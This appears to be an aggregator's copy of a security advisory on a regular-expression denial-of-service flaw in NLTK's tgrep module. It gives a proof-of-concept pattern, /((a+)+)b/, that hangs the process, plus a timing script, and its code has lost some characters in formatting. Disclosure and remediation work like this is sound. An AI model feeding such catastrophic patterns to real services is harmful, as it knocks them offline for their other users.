GHSA-w3v8-gmh9-3wv7: Pip/nltk vulnerability

Published Sep 8, 2026
·
Updated

Summary The NLTK tgrep module accepts user-supplied regular expressions and passes them to the Python re engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the tgrep API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

Affected Code nltk/tgrep.py — tgrepnodeaction() (around line 320)

When a tgrep pattern contains a /regex/ node, tgrepnodeaction compiles the embedded regex literal directly with no validation:

python def tgrepnodeaction(s, l, tokens): ... elif tokens[0].startswith("/"): assert tokens[0].endswith("/") nodelit = tokens[0][1:-1] return ( lambda r: lambda n, m=None, l=None: r.search( tgrepnodeliteralvalue(n) ) )(re.compile(nodelit)) # User regex compiled and executed with no timeout The compiled regex is applied against every matching tree node label via r.search(...). A caller reaching this path via tgreppositions() or tgrepcompile() controls nodelit entirely.

Proof of Concept python import nltk from nltk.tgrep import tgreppositions

Root node label is 25 'a' characters. tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a") No 'b' is present — exponential backtracking occurs. tree = nltk.Tree.fromstring("(" + "a" 25 + " (NP (DT the)))") tgreppositions(r"/((a+)+)b/", [tree]) # Never returns

Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgreppositions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

python import nltk from nltk.tgrep import tgreppositions import time

def testn(n): tree = nltk.Tree.fromstring("(" + "a" n + " (NP (DT the)))") pattern = r"/((a+)+)b/" start = time.perfcounter() list(tgreppositions(pattern, [tree])) return time.perfcounter() - start

if name == "main": # Adjust the range if needed – these values complete quickly nvalues = [18, 20, 22, 24, 26, 28] print(f"Testing n = {nvalues}\n")

times = [] for n in nvalues: t = testn(n) times.append((n, t)) print(f"n={n:2d} done", flush=True)

print("\n--- Increase factors (per step in n) ---") factors = [] for i in range(1, len(times)): prevn, prevt = times[i-1] currn, currt = times[i] factor = currt / prevt factors.append((currn, factor)) print(f"n={currn:2d} : factor = {factor:.2f}x (vs n={prevn})")

avg = sum(f for , f in factors) / len(factors) print(f"\nAverage factor: {avg:.2f}x") print("\n✅ Confirmed: exponential growth (catastrophic backtracking).") print(" Larger n (≥ 35) will hang indefinitely.")

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.

Impact In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

Remediation This issue remains unfixed in versions <= 3.10.2. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

Credit Tool: Kira by Offgrid Security

Affected Software

1 affected componentFixes available
pip/nltk<=3.10.2
3.10.3

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/nltk to a version that resolves this vulnerability.

    Fixed in 3.10.3
  2. Compensating control

    Add a timeout-guarded mechanism around the embedded regex execution used by NLTK's `tgrep` (i.e., the regex compiled from `/regex/` literals and run via `r.search(...)`) so a catastrophic backtracking pattern (e.g., `((a+)+)b` against many `a` characters) cannot block the Python process indefinitely.

Event History

Sep 8, 2026
Advisory Published
via GitHub·08:28 PM
Data Sourced
via GitHub·08:28 PM
DescriptionWeaknessAffected Software

Frequently Asked Questions

1

Which applications are exposed to this issue?

Applications are exposed if they allow external input to reach NLTK tgrep patterns. In particular, callers of tgrep_positions() or tgrep_compile() that permit a user to control a /regex/ node can reach the vulnerable path.

2

What does an attacker need to trigger the denial of service?

The attacker needs control over the embedded regular expression literal in a tgrep pattern and a way to submit that pattern to the application. The regex is compiled and searched against matching tree-node labels without validation or a timeout.

3

How can we determine whether our application is affected?

Review uses of tgrep_positions() and tgrep_compile() and trace whether pattern strings can originate from HTTP requests, form fields, APIs, uploaded content, or other untrusted sources. Patterns containing /regex/ nodes are the relevant inputs.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203